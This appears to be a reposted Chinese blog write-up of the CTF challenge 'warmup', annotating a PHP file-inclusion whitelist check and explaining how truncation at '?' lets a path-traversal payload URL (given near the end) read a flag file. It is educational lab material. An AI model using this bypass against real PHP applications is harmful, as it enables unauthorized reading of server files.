zoukankan      html  css  js  c++  java
  • CTF-warmup(远程文件包含漏洞+代码审计)

    一.题目描述

      题目没有介绍,直接来一张滑稽的表情。

      直接F12,发现信息,source.php文件,然后直打开;接着有发现了hint.php这个文件。

    二.代码审计

    <?php
        highlight_file(__FILE__);
        class emmm
        {
            public static function checkFile(&$page)        // 判断check函数主体
            {
                $whitelist = ["source"=>"source.php","hint"=>"hint.php"];//白名单,就这些可以作为page传进来
                //判断:不存在或者不是字符串的,就返回false
                if (! isset($page) || !is_string($page)) {         
                    echo "you can't see it";
                    return false;
                }
                //判断page变量是否在白名单中
                if (in_array($page, $whitelist)) {
                    return true;
                }

                $_page = mb_substr(
                    $page,
                    0,
                    mb_strpos($page . '?''?')
                );
                if (in_array($_page, $whitelist)) {
                    return true;
                }

                $_page = urldecode($page);
                $_page = mb_substr(
                    $_page,
                    0,
                    mb_strpos($_page . '?''?')//截取到?之前的page部分,再加上0位之前的那个?,就是两个?之间的内容
                );
                if (in_array($_page, $whitelist)) {
                    return true;
                }
                echo "you can't see it";
                return false;
            }
        }

        if (! empty($_REQUEST['file'])   //参数file不能为空
            && is_string($_REQUEST['file'])  //参数file为字符串
            && emmm::checkFile($_REQUEST['file'])  // file应该返回值为Ture
        ) {
            include $_REQUEST['file'];
            exit;
        } else {
            echo "<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" />";
        }  
    ?>
     
    思路:
    第一个if,判断page变量是否为空,是否是字符串
    第二个if,判断传入的page是否在白名单中
    第三个if,截取page ?之前的字符赋给_page,判断_page是否在白名单中
    第四个if,对page进行一次url解码并赋给_page,截取_page ?之前的字符赋给_page,判断_page是否在白名单中,因此需传入二次编码后的内容,就可以使checkfile返回true。
     
    三.构造payload
     http://111.200.241.244:54915/?file=hint.php?/../../../../../../../../ffffllllaaaagggg
     
    欢迎一起交流。
  • 相关阅读:
    wifi与wimax
    短信中心号码
    (安卓)黑盒测试技巧个人整理
    数组实现栈的结构(java)
    tikv性能参数调优
    pt-table-checksum工具MySQL主从复制数据一致性
    MySQL索引原理以及类型
    TiDB数据库 mydumper与loader导入数据
    Innodb的体系结构
    MySQL核心之双一原则
  • 原文地址:https://www.cnblogs.com/huazige/p/15039889.html
Copyright © 2011-2022 走看看